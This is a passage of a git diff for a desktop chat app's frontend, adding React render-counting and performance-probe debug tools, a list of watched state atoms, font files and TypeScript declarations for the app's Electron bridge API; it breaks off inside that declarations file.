+  let next: Fiber['memoizedState'] | null | undefined = fiber.memoizedState
+  let prev: Fiber['memoizedState'] | null | undefined = fiber.alternate?.memoizedState
+  const changed: number[] = []
+  let index = 0
+
+  while (next && prev) {
+    if (!Object.is(next.memoizedState, prev.memoizedState)) {
+      changed.push(index)
+    }
+
+    next = next.next
+    prev = prev.next
+    index += 1
+  }
+
+  return changed
+}
+
+/** Names of the props whose identity changed — the cascade origin's smoking
+ *  gun. Used by explain() so the answer is "Streamdown (props: children)" and
+ *  not just "Streamdown (props)". */
+function changedPropKeys(fiber: Fiber): string[] {
+  const prev = fiber.alternate?.memoizedProps as Record<string, unknown> | null | undefined
+  const next = fiber.memoizedProps as Record<string, unknown> | null | undefined
+
+  if (!prev || !next) {
+    return []
+  }
+
+  const keys: string[] = []
+
+  for (const key of Object.keys(next)) {
+    if (!Object.is(prev[key], next[key])) {
+      keys.push(key)
+    }
+  }
+
+  return keys
+}
+
+/** Did any consumed context value change? A `memo()` cannot block a re-render
+ *  caused by context, so distinguishing this from a parent-driven render is
+ *  the difference between "add a memo" and "split the provider". */
+function contextChanged(fiber: Fiber): boolean {
+  let dep = fiber.dependencies?.firstContext
+
+  while (dep) {
+    const context = dep.context as { _currentValue?: unknown } | undefined
+
+    if (context && 'memoizedValue' in dep && !Object.is(dep.memoizedValue, context._currentValue)) {
+      return true
+    }
+
+    dep = dep.next
+  }
+
+  return false
+}
+
+function record(fiber: Fiber) {
+  const name = getDisplayName(fiber)
+
+  if (!name) {
+    return
+  }
+
+  const entry = counts.get(name) ?? blank()
+  const props = propsChanged(fiber)
+  const state = stateChanged(fiber)
+  const context = contextChanged(fiber)
+
+  entry.renders += 1
+  entry.totalMs += fiber.actualDuration ?? 0
+
+  if (props) {
+    entry.propsChanged += 1
+  }
+
+  if (state) {
+    entry.stateChanged += 1
+  }
+
+  if (context) {
+    entry.contextChanged += 1
+  }
+
+  if (!props && !state && !context) {
+    entry.wasted += 1
+
+    // explain() support: walk UP from a wasted render to the TOP of the
+    // cascade — the highest ancestor that also rendered this commit. That
+    // fiber is the origin; its own changed props/state is the reason.
+    // Stopping at the first ancestor with changed props is wrong: JSX rebuilt
+    // by a parent makes every intermediate node report "children changed",
+    // which is the symptom cascading down, not the cause.
+    if (explainTarget && name === explainTarget) {
+      let origin: Fiber = fiber
+      let cursor = fiber.return
+      let hops = 0
+
+      while (cursor && hops < 80) {
+        if (isCompositeFiber(cursor) && didFiberRender(cursor)) {
+          origin = cursor
+        }
+
+        cursor = cursor.return
+        hops += 1
+      }
+
+      const originName = getDisplayName(origin) ?? '?'
+      const changed = changedPropKeys(origin).filter(k => k !== 'children')
+
+      const why =
+        origin === fiber
+          ? 'self'
+          : stateChanged(origin)
+            ? `state (hooks #${changedHookIndices(origin).slice(0, 5).join(',#')})`
+            : changed.length
+              ? `props: ${changed.slice(0, 4).join(',')}`
+              : contextChanged(origin)
+                ? 'context'
+                : changedPropKeys(origin).length
+                  ? 'children only'
+                  : 'no visible change (external store?)'
+
+      const key = `${originName} (${why})`
+      explainCauses.set(key, (explainCauses.get(key) ?? 0) + 1)
+    }
+  }
+
+  counts.set(name, entry)
+}
+
+/** Rows sorted by wasted renders, then total renders — the fix list, in order. */
+function report(limit = 40) {
+  return [...counts.entries()]
+    .map(([name, r]) => ({ name, ...r, totalMs: Math.round(r.totalMs * 100) / 100 }))
+    .sort((a, b) => b.wasted - a.wasted || b.renders - a.renders)
+    .slice(0, limit)
+}
+
+declare global {
+  interface Window {
+    __RENDER_COUNTS__?: {
+      /** Per-component render attribution since the last `clear()`. */
+      counts: Map<string, RenderRecord>
+      /** Commits observed since the last `clear()`. */
+      commits: () => number
+      clear: () => void
+      /** Start counting. Cheap no-op until called — zero cost while idle. */
+      start: () => void
+      stop: () => void
+      recording: () => boolean
+      /** Sorted worst-offenders table; `console.table`-friendly. */
+      report: (limit?: number) => Array<RenderRecord & { name: string }>
+      /** Attribution for one component by display name. */
+      get: (name: string) => RenderRecord | undefined
+      /**
+       * Name a component (its displayName, e.g. 'Block'), interact, then call
+       * with no argument to get the tally of which CHANGED ancestor each of
+       * its wasted renders cascaded from. The origin, walked — not guessed.
+       */
+      explain: (name?: null | string) => Record<string, number> | string
+    }
+  }
+}
+
+if (typeof window !== 'undefined' && !window.__RENDER_COUNTS__) {
+  instrument({
+    onCommitFiberRoot(_id, root) {
+      if (!recording) {
+        return
+      }
+
+      commits += 1
+      traverseRenderedFibers(root, fiber => {
+        if (isCompositeFiber(fiber) && didFiberRender(fiber)) {
+          record(fiber)
+        }
+      })
+    }
+  })
+
+  window.__RENDER_COUNTS__ = {
+    clear: () => {
+      counts.clear()
+      commits = 0
+    },
+    commits: () => commits,
+    counts,
+    explain: name => {
+      if (name !== undefined) {
+        explainTarget = name
+        explainCauses.clear()
+
+        if (name && !recording) {
+          recording = true
+        }
+
+        return name ? `explaining ${name} — interact, then call explain() to read` : 'explain off'
+      }
+
+      return Object.fromEntries([...explainCauses.entries()].sort((x, y) => y[1] - x[1]))
+    },
+    get: name => counts.get(name),
+    recording: () => recording,
+    report,
+    start: () => {
+      counts.clear()
+      commits = 0
+      recording = true
+    },
+    stop: () => {
+      recording = false
+    }
+  }
+}
diff --git a/ui-desktop/src/debug/right-pane-events.ts b/ui-desktop/src/debug/right-pane-events.ts
new file mode 100644
index 000000000..39a86906c
--- /dev/null
+++ b/ui-desktop/src/debug/right-pane-events.ts
@@ -0,0 +1,25 @@
+export type RightPanePerfEvent =
+  'project-tree-render' | 'project-tree-row-render' | 'terminal-fit-active' | 'terminal-fit-hidden' | 'terminal-measure'
+
+export interface RightPanePerfSnapshot {
+  counts: Record<RightPanePerfEvent, number>
+  details: Partial<Record<RightPanePerfEvent, Record<string, number>>>
+  rows: Record<string, number>
+}
+
+declare global {
+  interface Window {
+    __RIGHT_PANE_PERF__?: {
+      clear: () => void
+      mark: (event: RightPanePerfEvent, detail?: string) => void
+      snapshot: () => RightPanePerfSnapshot
+      start: () => void
+      stop: () => void
+    }
+  }
+}
+
+/** Tiny production-safe callsite; the recorder exists only in dev/perf builds. */
+export function markRightPanePerf(event: RightPanePerfEvent, detail?: string): void {
+  window.__RIGHT_PANE_PERF__?.mark(event, detail)
+}
diff --git a/ui-desktop/src/debug/right-pane-probe.ts b/ui-desktop/src/debug/right-pane-probe.ts
new file mode 100644
index 000000000..6204c2ec7
--- /dev/null
+++ b/ui-desktop/src/debug/right-pane-probe.ts
@@ -0,0 +1,58 @@
+import type { RightPanePerfEvent, RightPanePerfSnapshot } from './right-pane-events'
+
+const eventNames: RightPanePerfEvent[] = [
+  'project-tree-render',
+  'project-tree-row-render',
+  'terminal-fit-active',
+  'terminal-fit-hidden',
+  'terminal-measure'
+]
+
+const blankCounts = (): Record<RightPanePerfEvent, number> =>
+  Object.fromEntries(eventNames.map(name => [name, 0])) as Record<RightPanePerfEvent, number>
+
+if (typeof window !== 'undefined' && !window.__RIGHT_PANE_PERF__) {
+  let recording = false
+  let counts = blankCounts()
+  let details: RightPanePerfSnapshot['details'] = {}
+  let rows: Record<string, number> = {}
+
+  window.__RIGHT_PANE_PERF__ = {
+    clear: () => {
+      counts = blankCounts()
+      details = {}
+      rows = {}
+    },
+    mark: (event, detail) => {
+      if (!recording) {
+        return
+      }
+
+      counts[event] += 1
+
+      if (detail) {
+        const eventDetails = details[event] ?? {}
+        eventDetails[detail] = (eventDetails[detail] ?? 0) + 1
+        details[event] = eventDetails
+
+        if (event === 'project-tree-row-render') {
+          rows[detail] = (rows[detail] ?? 0) + 1
+        }
+      }
+    },
+    snapshot: (): RightPanePerfSnapshot => ({
+      counts: { ...counts },
+      details: Object.fromEntries(Object.entries(details).map(([event, eventDetails]) => [event, { ...eventDetails }])),
+      rows: { ...rows }
+    }),
+    start: () => {
+      counts = blankCounts()
+      details = {}
+      rows = {}
+      recording = true
+    },
+    stop: () => {
+      recording = false
+    }
+  }
+}
diff --git a/ui-desktop/src/debug/watched-atoms.ts b/ui-desktop/src/debug/watched-atoms.ts
new file mode 100644
index 000000000..ebcb2724b
--- /dev/null
+++ b/ui-desktop/src/debug/watched-atoms.ts
@@ -0,0 +1,81 @@
+// Dev-only: registers the stores worth attributing during a streaming turn.
+//
+// Deliberately NOT every atom in the app — a churn counter that reports 200
+// rows is as useless as none. These are the stores on or adjacent to the
+// streaming hot path, plus the sidebar's inputs, so a recording answers one
+// question directly: while an agent is typing, what is being published, and
+// who re-renders because of it?
+
+import { $projects, $projectTree } from '@/store/projects'
+import {
+  $activeSessionId,
+  $awaitingResponse,
+  $busy,
+  $cronSessions,
+  $currentCwd,
+  $currentUsage,
+  $gatewayState,
+  $messages,
+  $messagingSessions,
+  $selectedStoredSessionId,
+  $sessions,
+  $sessionsLoading
+} from '@/store/session'
+import {
+  $attentionSessionIds,
+  $focusedRuntimeId,
+  $focusedSessionState,
+  $focusedStoredSessionId,
+  $sessionStates,
+  $sessionTiles,
+  $stalledSessionIds,
+  $workingSessionIds
+} from '@/store/session-states'
+
+import { watchAtom } from './atom-churn'
+
+/** Streaming hot path — written per token / per delta flush. */
+const HOT = {
+  $awaitingResponse,
+  $busy,
+  // The global mirror the workspace pane paints from.
+  $messages,
+  // Republished on EVERY delta: the per-session source of truth.
+  $sessionStates
+}
+
+/** Derived from the hot path. These SHOULD stay quiet during a turn — any
+ *  notification here is a candidate for the "wasted" column. */
+const DERIVED = {
+  $attentionSessionIds,
+  $currentUsage,
+  $focusedRuntimeId,
+  $focusedSessionState,
+  $focusedStoredSessionId,
+  $stalledSessionIds,
+  $workingSessionIds
+}
+
+/** Sidebar inputs. Expected to be cold during a turn — if any of these notify
+ *  while an agent is typing, that is the bug. */
+const SIDEBAR = {
+  $activeSessionId,
+  $cronSessions,
+  $currentCwd,
+  $gatewayState,
+  $messagingSessions,
+  $projects,
+  $projectTree,
+  $selectedStoredSessionId,
+  $sessions,
+  $sessionsLoading,
+  $sessionTiles
+}
+
+export function watchSessionAtoms() {
+  for (const group of [HOT, DERIVED, SIDEBAR]) {
+    for (const [name, store] of Object.entries(group)) {
+      watchAtom(name, store)
+    }
+  }
+}
diff --git a/ui-desktop/src/fonts/JetBrainsMono-Bold.woff2 b/ui-desktop/src/fonts/JetBrainsMono-Bold.woff2
new file mode 100644
index 000000000..81c5a219d
Binary files /dev/null and b/ui-desktop/src/fonts/JetBrainsMono-Bold.woff2 differ
diff --git a/ui-desktop/src/fonts/JetBrainsMono-Italic.woff2 b/ui-desktop/src/fonts/JetBrainsMono-Italic.woff2
new file mode 100644
index 000000000..4103d3910
Binary files /dev/null and b/ui-desktop/src/fonts/JetBrainsMono-Italic.woff2 differ
diff --git a/ui-desktop/src/fonts/JetBrainsMono-Regular.woff2 b/ui-desktop/src/fonts/JetBrainsMono-Regular.woff2
new file mode 100644
index 000000000..66c54672c
Binary files /dev/null and b/ui-desktop/src/fonts/JetBrainsMono-Regular.woff2 differ
diff --git a/ui-desktop/src/global.d.ts b/ui-desktop/src/global.d.ts
new file mode 100644
index 000000000..0202d4b25
--- /dev/null
+++ b/ui-desktop/src/global.d.ts
@@ -0,0 +1,946 @@
+import type { GatewayWsUrlResult } from '@clawcodex/shared'
+
+import type { WakeIndicatorState } from './lib/wake-indicator'
+import type {
+  PetOverlayBounds,
+  PetOverlayControl,
+  PetOverlayOpenRequest,
+  PetOverlayStatePayload
+} from './store/pet-overlay'
+import type { QuickEntryStatePush, QuickEntryStatus, QuickEntrySubmitPayload } from './store/quick-entry'
+
+export {}
+
+declare global {
+  interface Window {
+    clawcodexDesktop: {
+      // Resolve a backend connection. Omit `profile` (or pass the primary) for
+      // the window's backend; pass a named profile to lazily spawn/reuse that
+      // profile's backend from the pool.
+      getConnection: (profile?: string | null) => Promise<ClawCodexConnection>
+      // Reconnect-after-wake recovery: liveness-probe the cached PRIMARY backend
+      // and drop it if a remote one has gone unreachable, so the next
+      // getConnection() rebuilds a reachable descriptor instead of the renderer
+      // re-dialing a dead remote forever. No-op for local backends (they
+      // self-heal via the child 'exit' handler). `rebuilt` is true when a stale
+      // remote cache was dropped.
+      revalidateConnection: () => Promise<{ ok: boolean; rebuilt: boolean }>
+      // Keepalive: mark a pool profile backend as recently used so the idle
+      // reaper spares it while its chat is active.
+      touchBackend: (profile?: string | null) => Promise<{ ok: boolean }>
+      getGatewayWsUrl: (profile?: null | string) => Promise<GatewayWsUrlResult>
+      // Open (or focus) a standalone OS window for a single chat session so
+      // the user can work with multiple chats side by side. Returns ok:false
+      // with an error code when the sessionId is empty/invalid. `watch` opens
+      // a spectator window (lazy resume — no agent build) for live-streaming
+      // a running subagent's session.
+      openSessionWindow: (sessionId: string, opts?: { watch?: boolean }) => Promise<{ ok: boolean; error?: string }>
+      // Open a new full-chrome app window — a peer instance of the primary that
+      // renders the complete app against the shared backend, so the user can run
+      // multiple GUI windows at once.
+      openWindow: () => Promise<{ ok: boolean; error?: string }>
+      // Claim a one-shot cross-window ambient cue (turn-end sound / spoken
+      // reply). Resolves true for the first window to claim a key, false for
+      // peers — so N open windows don't all fire the same cue.
+      claimAmbientCue: (key: string) => Promise<boolean>
+      wakeIndicator?: {
+        getState: () => Promise<WakeIndicatorState>
+        setState: (state: WakeIndicatorState) => void
+        onState: (callback: (state: WakeIndicatorState) => void) => () => void
+      }
+      // The pop-out pet overlay: a transparent always-on-top window hosting only
+      // the mascot. The main renderer drives it (open/close/drag + state push);
+      // the overlay sends control messages back (pop-in, composer submit).
+      petOverlay: {
+        open: (request: PetOverlayOpenRequest) => Promise<{ ok: boolean; bounds?: PetOverlayBounds }>
+        close: () => Promise<{ ok: boolean }>
+        setBounds: (bounds: PetOverlayBounds) => void
+        setIgnoreMouse: (ignore: boolean) => void
+        setFocusable: (focusable: boolean) => void
+        pushState: (payload: PetOverlayStatePayload) => void
+        control: (payload: PetOverlayControl) => void
+        onState: (callback: (payload: PetOverlayStatePayload) => void) => () => void
+        onControl: (callback: (payload: PetOverlayControl) => void) => () => void
+      }
+      // Quick Entry: a global-hotkey mini composer window. Main owns the OS
+      // shortcut registration + the persisted preference (it must restore the
+      // shortcut on a cold launch without the renderer visiting Settings), so
+      // the renderer reads/writes it here and adopts the authoritative reply.
+      quickEntry: {
+        getSettings: () => Promise<QuickEntryStatus>
+        // Returns the resulting state — including `registered: false` +
+        // `error: 'taken'` when another app already owns the chord, so a failed
+        // registration surfaces in Settings instead of failing silently.
+        setSettings: (patch: { enabled?: boolean; shortcut?: string }) => Promise<QuickEntryStatus>
+        // Quick window → main: send this payload (main forwards it to the
+        // primary renderer, which routes it to the target session and submits
+        // through the normal prompt path) and hide.
+        submit: (payload: QuickEntrySubmitPayload) => void
+        // Quick window → main: hide without sending (Escape / blur).
+        dismiss: () => void
+        // Primary renderer → main → quick window: gateway connection state +
+        // the recent-session options. Main caches the latest push and replays
+        // it to a quick window spawned later.
+        pushState: (payload: QuickEntryStatePush) => void
+        // Quick window subscribes to those pushes.
+        onState: (callback: (payload: QuickEntryStatePush) => void) => () => void
+        // Primary renderer subscribes to submits captured by the quick window.
+        onSubmit: (callback: (payload: QuickEntrySubmitPayload | string) => void) => () => void
+        // Quick window subscribes to "you were just summoned" so it can reset
+        // its draft and re-focus the input on every open.
+        onShown: (callback: () => void) => () => void
+      }
+      getBootProgress: () => Promise<DesktopBootProgress>
+      getConnectionConfig: (profile?: null | string) => Promise<DesktopConnectionConfig>
+      saveConnectionConfig: (payload: DesktopConnectionConfigInput) => Promise<DesktopConnectionConfig>
+      applyConnectionConfig: (payload: DesktopConnectionConfigInput) => Promise<DesktopConnectionConfig>
+      testConnectionConfig: (payload: DesktopConnectionConfigInput) => Promise<DesktopConnectionTestResult>
+      sshConfigHosts: () => Promise<DesktopSshHostsResult>
+      sshResolveHost: (host: string) => Promise<DesktopSshResolveResult>
+      probeConnectionConfig: (remoteUrl: string) => Promise<DesktopConnectionProbeResult>
+      oauthLoginConnectionConfig: (remoteUrl: string) => Promise<DesktopOauthLoginResult>
+      oauthLogoutConnectionConfig: (remoteUrl?: string) => Promise<DesktopOauthLogoutResult>
+      // ClawCodex Cloud: one portal login powers discovery + silent per-agent
+      // sign-in (cloud-auto-discovery Phase 3).
+      cloud: {
+        status: () => Promise<DesktopCloudStatus>
+        login: () => Promise<DesktopCloudStatus & { ok: boolean }>
+        logout: () => Promise<DesktopCloudStatus & { ok: boolean }>
+        discover: (org?: string) => Promise<DesktopCloudDiscoverResult>
+        agentSignIn: (dashboardUrl: string) => Promise<DesktopCloudAgentSignInResult>
+      }
+      profile: {
+        get: () => Promise<DesktopActiveProfile>
+        // Persists the desktop's profile choice and relaunches the local
+        // backend under the new CLAWCODEX_CONFIG_DIR (reloads the window). Pass null to
+        // clear the preference.
+        set: (name: string | null) => Promise<DesktopActiveProfile>
+      }
+      api: <T>(request: ClawCodexApiRequest) => Promise<T>
+      notify: (payload: ClawCodexNotification) => Promise<boolean>
+      requestMicrophoneAccess: () => Promise<boolean>
+      readFileDataUrl: (filePath: string) => Promise<string>
+      /** Remote non-image attach: higher dedicated cap than preview/Settings default. */
+      readFileDataUrlForAttach?: (filePath: string) => Promise<string>
+      /** Settings → Chat: max size for local files loaded as data URLs (attach/preview). */
+      dataUrlReadMax?: {
+        get: () => Promise<{ defaultMaxMb: number; maxBytes: number; maxMb: number }>
+        set: (maxMb: number) => Promise<{ defaultMaxMb: number; maxBytes: number; maxMb: number }>
+      }
+      readFileText: (filePath: string) => Promise<ClawCodexReadFileTextResult>
+      selectPaths: (options?: ClawCodexSelectPathsOptions) => Promise<string[]>
+      /** Native save dialog; returns the chosen path or null on cancel. */
+      selectSavePath?: (options?: {
+        defaultPath?: string
+        filters?: Array<{ extensions: string[]; name: string }>
+        title?: string
+      }) => Promise<null | string>
+      writeClipboard: (text: string) => Promise<boolean>
+      readClipboard: () => Promise<string>
+      saveImageFromUrl: (url: string) => Promise<boolean>
+      saveImageBuffer: (data: ArrayBuffer | Uint8Array, ext: string) => Promise<string>
+      saveClipboardImage: () => Promise<string>
+      getPathForFile: (file: File) => string
+      normalizePreviewTarget: (target: string, baseDir?: string) => Promise<ClawCodexPreviewTarget | null>
+      watchPreviewFile: (url: string) => Promise<ClawCodexPreviewWatch>
+      /** Watch a directory for entry churn (disk-plugin door); same watcher
+       *  registry + onPreviewFileChanged channel as watchPreviewFile. Optional:
+       *  older Electron shells predate it and fall back to the readdir poll. */
+      watchDirectory?: (dir: string) => Promise<ClawCodexPreviewWatch>
+      stopPreviewFileWatch: (id: string) => Promise<boolean>
+      setActiveWork?: (payload: ClawCodexActiveWork) => void
+      setTitleBarTheme?: (payload: ClawCodexTitleBarTheme) => void
+      setNativeTheme?: (mode: 'dark' | 'light' | 'system') => void
+      setTranslucency?: (payload: { intensity: number }) => void
+      setKeepAwake?: (on: boolean) => void
+      setPreviewShortcutActive?: (active: boolean) => void
+      openExternal: (url: string) => Promise<void>
+      openPreviewInBrowser?: (url: string) => Promise<void>
+      fetchLinkTitle: (url: string) => Promise<string>
+      sanitizeWorkspaceCwd: (cwd?: null | string) => Promise<{ cwd: string; sanitized: boolean }>
+      settings: {
+        getDefaultProjectDir: () => Promise<{ defaultLabel: string; dir: null | string; resolvedCwd: string }>
+        pickDefaultProjectDir: () => Promise<{ canceled: boolean; dir: null | string }>
+        setDefaultProjectDir: (dir: null | string) => Promise<{ dir: null | string }>
+      }
+      zoom?: {
+        get: () => Promise<{ level: number; percent: number }>
+        setPercent: (percent: number) => void
+        onChanged: (callback: (payload: { level: number; percent: number }) => void) => () => void
+      }
+      revealLogs: () => Promise<{ ok: boolean; path: string; error?: string }>
+      getRecentLogs: () => Promise<{ path: string; lines: string[] }>
+      readDir: (path: string) => Promise<ClawCodexReadDirResult>
+      gitRoot?: (path: string) => Promise<string | null>
+      // Reveal a path in the OS file manager (Finder / Explorer).
+      revealPath?: (path: string) => Promise<boolean>
+      // Open a DIRECTORY (created if missing) in the OS file manager.
+      openDir?: (path: string) => Promise<{ ok: boolean; error?: string }>
+      // Local Desktop runtime-plugin root (<CLAWCODEX_CONFIG_DIR>/desktop-plugins),
+      // resolved by Electron independently of the connected backend (#66899).
+      // Created on demand; returns the normalized absolute path.
+      desktopPluginsRoot?: () => Promise<string>
+      // Rename a file/folder in place (new base name, same parent dir).
+      renamePath?: (path: string, newName: string) => Promise<{ path: string }>
+      // Write a small UTF-8 text file (hardened path, parent must exist).
+      writeTextFile?: (path: string, content: string) => Promise<{ path: string }>
+      // Move a file/folder to the OS trash (recoverable).
+      trashPath?: (path: string) => Promise<boolean>
+      // Git-driven worktree management for the "Start work" flow.
+      git?: {
+        worktreeList: (repoPath: string) => Promise<ClawCodexGitWorktree[]>
+        worktreeAdd: (
+          repoPath: string,
+          options?: { name?: string; branch?: string; base?: string; existingBranch?: string }
+        ) => Promise<{ path: string; branch: string; repoRoot: string }>
+        worktreeRemove: (
+          repoPath: string,
+          worktreePath: string,
+          options?: { force?: boolean }
+        ) => Promise<{ removed: string }>
+        branchSwitch: (repoPath: string, branch: string) => Promise<{ branch: string }>
+        // The local branches, plus the remote-tracking refs that have no local
+        // branch, for the "convert a branch into a worktree" picker.
+        branchList: (repoPath: string) => Promise<ClawCodexGitBranch[]>
+        // Local + remote-tracking branches for the "base branch" picker in the
+        // new-worktree dialog. The remote default (origin/HEAD) is flagged so
+        // the UI can preselect it.
+        baseBranchList: (repoPath: string) => Promise<ClawCodexGitBaseBranch[]>
+        // Compact working-tree status for the composer coding rail. Null on a
+        // non-repo / remote backend (where the Electron probe can't run).
+        repoStatus: (repoPath: string) => Promise<ClawCodexRepoStatus | null>
+        // Working-tree-vs-HEAD unified diff for one file (the preview's diff
+        // view). Empty string when the file is unchanged or not in a repo.
+        fileDiff: (repoPath: string, filePath: string) => Promise<string>
+        // Codex-style review pane: changed files per scope, per-file diff, and
+        // stage / unstage / revert.
+        review: {
+          list: (repoPath: string, scope: ClawCodexReviewScope, baseRef?: null | string) => Promise<ClawCodexReviewList>
+          diff: (
+            repoPath: string,
+            filePath: string,
+            scope: ClawCodexReviewScope,
+            baseRef?: null | string,
+            staged?: boolean
+          ) => Promise<string>
+          stage: (repoPath: string, filePath?: null | string) => Promise<{ ok: boolean }>
+          unstage: (repoPath: string, filePath?: null | string) => Promise<{ ok: boolean }>
+          revert: (repoPath: string, filePath?: null | string) => Promise<{ ok: boolean }>
+          revParse: (repoPath: string, ref?: null | string) => Promise<null | string>
+          commit: (repoPath: string, message: string, push: boolean) => Promise<{ ok: boolean }>
+          // Diff (staged-or-all) + recent commit subjects for drafting a
+          // commit message. Reads only; empty strings off-repo.
+          commitContext: (repoPath: string) => Promise<{ diff: string; recent: string }>
+          push: (repoPath: string) => Promise<{ ok: boolean }>
+          shipInfo: (repoPath: string) => Promise<ClawCodexReviewShipInfo>
+          createPr: (repoPath: string) => Promise<{ url: string }>
+        }
+        // Repo-first discovery: scan bounded roots for git repos (depth-capped).
+        scanRepos: (
+          roots: string[],
+          options?: { maxDepth?: number; enabled?: boolean; excludePaths?: string[] }
+        ) => Promise<{ root: string; label: string }[]>
+      }
+      terminal: {
+        /** Best-effort current working directory of the live PTY child (POSIX
+         *  only; null on Windows or when unavailable). Used to reopen a tab
+         *  where the user last `cd`'d. */
+        cwd: (id: string) => Promise<string | null>
+        dispose: (id: string) => Promise<boolean>
+        onData: (id: string, callback: (payload: string) => void) => () => void
+        onExit: (id: string, callback: (payload: ClawCodexTerminalExit) => void) => () => void
+        resize: (id: string, size: { cols: number; rows: number }) => Promise<boolean>
+        start: (options?: { cols?: number; cwd?: string; rows?: number }) => Promise<ClawCodexTerminalSession>
+        write: (id: string, data: string) => Promise<boolean>
+      }
+      onClosePreviewRequested?: (callback: () => void) => () => void
+      onOpenFolderRequested?: (callback: () => void) => () => void
+      onOpenUpdatesRequested?: (callback: () => void) => () => void
+      onDeepLink?: (
+        callback: (payload: { kind: string; name: string; params: Record<string, string> }) => void
+      ) => () => void
+      signalDeepLinkReady?: () => Promise<{ ok: boolean }>
+      onWindowStateChanged?: (callback: (payload: ClawCodexWindowState) => void) => () => void
+      onFocusSession?: (callback: (sessionId: string) => void) => () => void
+      onNotificationAction?: (callback: (payload: { actionId: string; sessionId?: string }) => void) => () => void
+      onPreviewFileChanged: (callback: (payload: ClawCodexPreviewFileChanged) => void) => () => void
+      onBackendExit: (callback: (payload: BackendExit) => void) => () => void
+      // Soft gateway-mode apply: primary backend was torn down without a window
+      // reload. Wipe session lists (skeletons) and re-dial.
+      onConnectionApplied?: (callback: () => void) => () => void
+      onPowerResume?: (callback: () => void) => () => void
+      getOnBattery?: () => Promise<boolean>
+      onBatteryChanged?: (callback: (onBattery: boolean) => void) => () => void
+      onBootProgress: (callback: (payload: DesktopBootProgress) => void) => () => void
+      getBootstrapState: () => Promise<DesktopBootstrapState>
+      continueBootstrapLocal: () => Promise<{ ok: boolean }>
+      resetBootstrap: () => Promise<{ ok: boolean }>
+      repairBootstrap: () => Promise<{ ok: boolean }>
+      cancelBootstrap: () => Promise<{ ok: boolean; cancelled: boolean }>
+      onBootstrapEvent: (callback: (payload: DesktopBootstrapEvent) => void) => () => void
+      getVersion: () => Promise<DesktopVersionInfo>
+      getRemoteDisplayReason?: () => Promise<string | null>
+      updates: {
+        check: () => Promise<DesktopUpdateStatus>
+        apply: (opts?: DesktopUpdateApplyOptions) => Promise<DesktopUpdateApplyResult>
+        getBranch: () => Promise<{ branch: string }>
+        setBranch: (name: string) => Promise<{ branch: string }>
+        onProgress: (callback: (payload: DesktopUpdateProgress) => void) => () => void
+      }
+      uninstall: {
+        summary: () => Promise<DesktopUninstallSummary>
+        run: (mode: DesktopUninstallMode) => Promise<DesktopUninstallResult>
+      }
+      themes: {
+        // Download a VS Code Marketplace extension and return the raw color
+        // theme files it contributes. The renderer converts + persists them.
+        fetchMarketplace: (id: string) => Promise<DesktopMarketplaceThemeResult>
+        // Search the Marketplace for color-theme extensions. An empty query
+        // returns the most-installed themes.
+        searchMarketplace: (query: string) => Promise<DesktopMarketplaceSearchItem[]>
+      }
+      // Find-in-page: delegates to Electron's webContents.findInPage on the
+      // IPC sender's window so Cmd+F from a secondary session window
+      // searches that window (not the primary). `onFoundInPage` returns the
+      // unsubscribe fn; the renderer wires it via `initFindInPageListener`
+      // in store/find-in-page.ts and tears it down when the FindBar unmounts.
+      findInPage: (query: string, options?: { forward?: boolean; findNext?: boolean }) => Promise<{ count: number }>
+      stopFindInPage: () => Promise<void>
+      onFoundInPage: (callback: (result: { activeMatchOrdinal: number; count: number }) => void) => () => void
+    }
+  }
+}
+
+export interface DesktopMarketplaceSearchItem {
+  extensionId: string
+  displayName: string
+  publisher: string
+  description: string
+  installs: number
+}
+
+export interface DesktopMarketplaceThemeFile {
+  label: string
+  /** VS Code's `uiTheme` for this entry (vs-dark / vs / hc-black). */
+  uiTheme?: string
+  /** Raw theme JSON (JSONC) text, parsed + converted by the renderer. */
+  contents: string
+}
+
+export interface DesktopMarketplaceThemeResult {
+  extensionId: string
+  displayName: string
+  themes: DesktopMarketplaceThemeFile[]
+}
+
+export interface ClawCodexTerminalSession {
+  cwd: string
+  id: string
+  shell: string
+}
+
+export interface ClawCodexTerminalExit {
+  code: number | null
+  signal: string | null
+}
+
+export interface DesktopVersionInfo {
+  appVersion: string
+  electronVersion: string
+  nodeVersion: string
+  platform: string
+  clawcodexRoot: string
+}
+
+export type DesktopUninstallMode = 'full' | 'gui' | 'lite'
+
+export interface DesktopUninstallSummary {
+  clawcodex_home: string
+  agent_installed: boolean
+  gui_installed: boolean
+  source_built_artifacts: string[]
+  packaged_app_paths: string[]
+  userdata_dir: string
+  userdata_exists: boolean
+  platform: string
+  running_app_path?: null | string
+  probe?: string
+}
+
+export interface DesktopUninstallResult {
+  ok: boolean
+  mode?: DesktopUninstallMode
+  willRemoveAppBundle?: boolean
+  scriptPath?: string
+  error?: string
+  message?: string
+}
+
+export interface DesktopUpdateCommit {
+  sha: string
+  summary: string
+  author: string
+  at: number
+}
+
+export interface DesktopUpdateStatus {
+  supported: boolean
+  updateAvailable?: boolean
+  branch?: string
+  currentBranch?: string
+  reason?: string
+  message?: string
+  error?: string
+  behind?: number
+  currentSha?: string
+  /** Backend only: the version string the backend reports for itself. */
+  currentVersion?: string
+  targetSha?: string
+  commits?: DesktopUpdateCommit[]
+  dirty?: boolean
+  fetchedAt?: number
+}
+
+export type DesktopUpdateDirtyStrategy = 'abort' | 'stash' | 'force'
+
+export interface DesktopUpdateApplyOptions {
+  dirtyStrategy?: DesktopUpdateDirtyStrategy
+}
+
+export interface DesktopUpdateApplyResult {
+  ok: boolean
+  branch?: string
+  error?: string
+  message?: string
+  /** True when no staged updater exists (CLI install) and the user should run
+   *  `clawcodex update` themselves. `command` is the exact line to run. */
+  manual?: boolean
+  command?: string
+  clawcodexRoot?: string
+  /** True when the backend was updated but the GUI couldn't be relaunched in
+   *  place (AppImage / dev run): the new version loads on next launch. */
+  backendUpdated?: boolean
+  /** False when the running GUI package was NOT replaced by this update
+   *  (Linux GUI/backend skew, or a sandbox-blocked relaunch). Distinguishes
+   *  "backend only" outcomes from a real in-place GUI relaunch. (#45205) */
+  guiUpdated?: boolean
+  /** True for the Linux GUI/backend-skew terminal state: backend updated but
+   *  the running AppImage/.deb/.rpm shell is unchanged and must be
+   *  reinstalled. Renders a closeable "update the desktop app" message. */
+  guiSkew?: boolean
+  /** True when the update finished but the app must be quit + reopened by hand
+   *  (e.g. the rebuilt sandbox helper isn't launchable): keep a working
+   *  window, don't auto-quit into a dead app. (#45205) */
+  manualRestart?: boolean
+  /** True when the auto-relaunch was skipped specifically because the rebuilt
+   *  chrome-sandbox helper is not launchable (not root:root + setuid). */
+  sandboxBlocked?: boolean
